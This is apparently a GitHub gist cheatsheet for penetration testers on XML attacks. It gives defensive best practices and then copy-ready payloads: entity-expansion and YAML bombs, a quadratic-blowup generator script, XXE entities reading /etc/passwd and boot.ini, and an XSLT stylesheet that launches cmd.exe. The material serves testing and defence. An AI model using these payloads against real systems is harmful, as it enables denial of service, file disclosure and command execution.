mgeeky / **xml-attacks.md**

XML Vulnerabilities and Attacks cheatsheet

xml-attacks.md Raw

XML Vulnerabilities

XML processing modules may be not secure against maliciously constructed data. An attacker could abuse XML features to carry out denial of service attacks, access logical files, generate network connections to other machines, or circumvent firewalls.

The penetration tester running XML tests against application will have to determine which XML parser is in use, and then to what kinds of below listed attacks that parser will be vulnerable.

How to avoid XML vulnerabilities

Best practices

- Don't allow DTDs
- Don't expand entities
- Don't resolve externals
- Limit parse depth
- Limit total input size
- Limit parse time
- Favor a SAX or iterparse-like parser for potential large data
- Validate and properly quote arguments to XSL transformations and XPath queries
- Don't use XPath expression from untrusted sources
- Don't apply XSL transformations that come untrusted sources

(based on Brad Hill's Attacking XML Security)

Billion Laughs

The Billion Laughs attack – also known as exponential entity expansion – uses multiple levels of nested entities. Each entity refers to another entity several times, and the final entity definition contains a small string. The exponential expansion results in several gigabytes of text and consumes lots of memory and CPU time.

```
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
```

```
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
```

YAML bomb:

```
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```

Quadratic Blowup

A quadratic blowup attack is similar to a Billion Laughs attack; it abuses entity expansion, too. Instead of nested entities it repeats one large entity with a couple of thousand chars over and over again. The attack isn't as efficient as the exponential case but it avoids triggering parser countermeasures that forbid deeply-nested entities.

If an attacker defines the entity `"&x;"` as 55,000 characters long, and refers to that entity 55,000 times inside the `"DoS"` element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5

GB when parsed.

genQuadraticBlowup.py

```
#!/usr/bin/python3

NUM = 55000

def main():
        entity = 'A' * NUM
        refs = '&x;' * NUM
        templ = '''<?xml version="1.0"?>
        <!DOCTYPE DoS [
          <!ENTITY x "{entity}">
        ]>
        <DoS>{entityReferences}</DoS>
        '''.format(entity=entity, entityReferences=refs)

        print(templ)

if __name__ == '__main__':
        main()
```

XML External Entities expansion / XXE

An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

```
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
```

Other XXE payloads worth testing:

- XXE-Payloads
- Blind-XXE-Payload

DTD Retrieval

This case is similar to external entity expansion, too. Some XML libraries like Python's xml.dom.pulldom retrieve document type definitions from remote or local locations. Several attack scenarios from the external entity case apply to this issue as well.

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
    <head/>
    <body>text</body>
</html>
```

Decompression Bomb

Decompression bombs (aka ZIP bomb) apply to all XML libraries that can parse compressed XML streams such as gzipped HTTP streams or LZMA-compressed files. For an attacker it can reduce the amount of transmitted data by three magnitudes or more.

```
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
```

XPath Injection

XPath injeciton attacks pretty much work like SQL injection attacks. Arguments to XPath queries must be quoted and validated properly, especially when they are taken from the user. The page Avoid the dangers of XPath injection list some ramifications of XPath injections.

XInclude

XML Inclusion is another way to load and include external files:

```
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="filename.txt" parse="text" />
</root>
```

This feature should be disabled when XML files from an untrusted source are processed. Some Python XML libraries and libxml2 support XInclude but don't have an option to sandbox inclusion and limit it to allowed directories.

XSL Transformation

You should keep in mind that XSLT is a Turing complete language. Never process XSLT code from unknown or untrusted source! XSLT processors may allow you to interact with external resources in ways you can't even imagine. Some processors even support extensions that allow read/write access to file system, access to JRE objects or scripting with Jython.

Example from Attacking XML Security for Xalan-J:

```
<xsl:stylesheet version="1.0"
 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
```

```
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 exclude-result-prefixes= "rt ob">
 <xsl:template match="/">
   <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
   <xsl:variable name="command"
     select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
   <xsl:variable name="commandAsString" select="ob:toString($command)"/>
   <xsl:value-of select="$commandAsString"/>
 </xsl:template>
</xsl:stylesheet>
```

SOURCES

- https://github.com/tiran/defusedxml
- https://docs.python.org/3/library/xml.html#xml-vulnerabilities
- https://www.darknet.org.uk/2014/08/xml-quadratic-blowup-attack-blow-wordpress-drupal/
- https://en.wikipedia.org/wiki/Billion_laughs_attack

sunu11 commented on Jan 19, 2018

thankyou